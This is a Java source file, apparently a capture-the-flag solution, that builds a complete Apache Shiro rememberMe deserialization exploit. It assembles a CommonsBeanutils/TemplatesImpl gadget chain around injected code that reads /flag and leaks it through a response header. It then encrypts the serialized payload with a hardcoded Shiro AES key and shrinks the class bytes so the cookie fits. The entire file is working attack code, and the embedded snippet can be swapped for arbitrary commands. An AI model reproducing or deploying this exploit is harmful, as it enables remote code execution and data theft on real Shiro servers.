1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233
| package org.example; import com.nqzero.permit.Permit; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.beanutils.BeanComparator; import org.objectweb.asm.*; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.SecretKeySpec; import java.io.*; import java.lang.reflect.AccessibleObject; import java.lang.reflect.Field; import java.math.BigInteger; import java.net.URLEncoder; import java.security.*; import java.util.Base64; import java.util.PriorityQueue; public class Main { public static void main(String[ ] args) throws Exception { String key = "kPH+bIxk5D2deZiIxcaaaA=="; String javaCode = "Object attr = java.lang.Class.forName(\"org.springframework.web.context.request.RequestContextHolder\").getMethod(\"currentRequestAttributes\", new java.lang.Class[ ]{}).invoke(null,null);" + "Object resp = attr.getClass().getMethod(\"getResponse\", null).invoke(attr, null);" + "String flag = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(\"/flag\", new java.lang.String[ ]{})));" + "resp.getClass().getMethod(\"addHeader\", new java.lang.Class[ ]{java.lang.String.class, java.lang.String.class}).invoke(resp, new java.lang.Object[ ]{\"r\", flag});"; Object cbGadget = getCbGadget(javaCode); byte[ ] cbGadgetBytes = Serialization.serialize(cbGadget); String s = doShiroEncryption(cbGadgetBytes, key); System.out.println("Cookie length: " + s.length()); System.out.println("Cookie is: " + s); } public static byte[ ] base64Decode(String key) { return Base64.getDecoder().decode(key); } public static String base64Encode(byte[ ] key) { return Base64.getEncoder().encodeToString(key); } public static String urlEncode(String key) throws UnsupportedEncodingException { return URLEncoder.encode(key, "UTF-8"); } public static String doShiroEncryption(byte[ ] content, String keyInBase64) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { byte[ ] key = base64Decode(keyInBase64); byte[ ] iv = generateRandomIv(); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); Key keySpec = new SecretKeySpec(key, "AES"); IvParameterSpec ivSpec = new IvParameterSpec(iv); cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); byte[ ] encrypted = cipher.doFinal(content); byte[ ] cipherText = new byte[iv.length + encrypted.length]; System.arraycopy(iv, 0, cipherText, 0, iv.length); System.arraycopy(encrypted, 0, cipherText, iv.length, encrypted.length); return base64Encode(cipherText); } private static byte[ ] generateRandomIv() throws NoSuchAlgorithmException { byte[ ] iv = new byte[16]; SecureRandom random = SecureRandom.getInstance("SHA1PRNG"); random.nextBytes(iv); return iv; } public static Object getCbGadget(String javaCode) throws Exception { final Object templates = Gadgets.createTemplatesImpl(javaCode); final BeanComparator comparator = new BeanComparator("lowestSetBit"); final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); queue.add(new BigInteger("1")); queue.add(new BigInteger("1")); Reflections.setFieldValue(comparator, "property", "outputProperties"); final Object[ ] queueArray = (Object[ ]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates; return queue; } public static class Serialization { public static byte[ ] serialize(Object obj) throws IOException { final ByteArrayOutputStream out = new ByteArrayOutputStream(); serialize(obj, out); return out.toByteArray(); } public static void serialize(Object obj, OutputStream out) throws IOException { final ObjectOutputStream objOut = new ObjectOutputStream(out); objOut.writeObject(obj); } } public static class Gadgets { public static Object createTemplatesImpl(final String command) throws Exception { if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static <T> T createTemplatesImpl(final String javaCode, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception { final T templates = tplClass.newInstance(); ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.makeClass("StubTransletPayload"); clazz.makeClassInitializer().insertAfter(javaCode); clazz.setName("ysoserial.Pwner" + System.nanoTime()); CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); byte[ ] classBytes = clazz.toBytecode(); classBytes = shortenClassBytes(classBytes); byte[ ] fooBytes = shortenClassBytes(ClassFiles.classAsBytes(Foo.class)); Reflections.setFieldValue(templates, "_bytecodes", new byte[ ][ ]{ classBytes, ClassFiles.classAsBytes(Foo.class) }); Reflections.setFieldValue(templates, "_name", "1"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } } public static class ClassFiles { public static String classAsFile(final Class<?> clazz) { return classAsFile(clazz, true); } public static String classAsFile(final Class<?> clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; } public static byte[ ] classAsBytes(final Class<?> clazz) { try { final byte[ ] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } } public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; } public static class Reflections { public static void setAccessible(AccessibleObject member) { String versionStr = System.getProperty("java.version"); int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]); if (javaVersion < 12) { Permit.setAccessible(member); } else { member.setAccessible(true); } } public static Field getField(final Class<?> clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } } public static byte[ ] shortenClassBytes(byte[ ] classBytes) { ClassReader cr = new ClassReader(classBytes); ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); int api = Opcodes.ASM7; ClassVisitor cv = new ShortClassVisitor(api, cw); int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES; cr.accept(cv, parsingOptions); byte[ ] out = cw.toByteArray(); return out; } public static class ShortClassVisitor extends ClassVisitor { private final int api; public ShortClassVisitor(int api, ClassVisitor classVisitor) { super(api, classVisitor); this.api = api; } @Override public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[ ] exceptions) { MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); return new ShortMethodAdapter(this.api, mv); } } public static class ShortMethodAdapter extends MethodVisitor implements Opcodes { public ShortMethodAdapter(int api, MethodVisitor methodVisitor) { super(api, methodVisitor); } @Override public void visitLineNumber(int line, Label start) { } } }
|